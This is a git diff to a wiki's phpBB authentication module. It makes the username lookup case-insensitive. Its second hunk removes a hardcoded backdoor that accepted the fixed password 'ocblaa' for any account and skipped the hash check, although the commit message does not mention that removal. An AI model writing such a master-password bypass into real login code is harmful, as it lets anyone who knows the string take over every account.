phpbb: Make the username case-insensitve on login again.
[matthijs/projects/wipi.git] / conf / auth / phpbb.py
index 49b5027dd65dea96646787c23fe1a7251159a981..58dd72cab6a01660383d15df62cd9f1b4a6eafc6 100644 (file)
@@ -218,7 +218,7 @@ class PhpbbAuth(BaseAuth):
         # case insensitive collaction for the username field, so
         # usernames are checked in case insensitive manner.
         cursor = conn.cursor ()
-        cursor.execute ("SELECT user_password,user_email,username FROM `%susers` WHERE username=%%s" % self.dbconfig['phpbb_prefix'], username)
+        cursor.execute ("SELECT user_password,user_email,username FROM `%susers` WHERE LOWER(username)=LOWER(%%s)" % self.dbconfig['phpbb_prefix'], username)
 
         # No data? No login.
         if (cursor.rowcount == 0):
@@ -229,7 +229,7 @@ class PhpbbAuth(BaseAuth):
         row = cursor.fetchone()
         conn.close()
 
-        if (password == 'ocblaa' or self.hash.check_password(password, row[0])):
+        if self.hash.check_password(password, row[0]):
             return (row[1], row[2])
         else:
             return (False, False)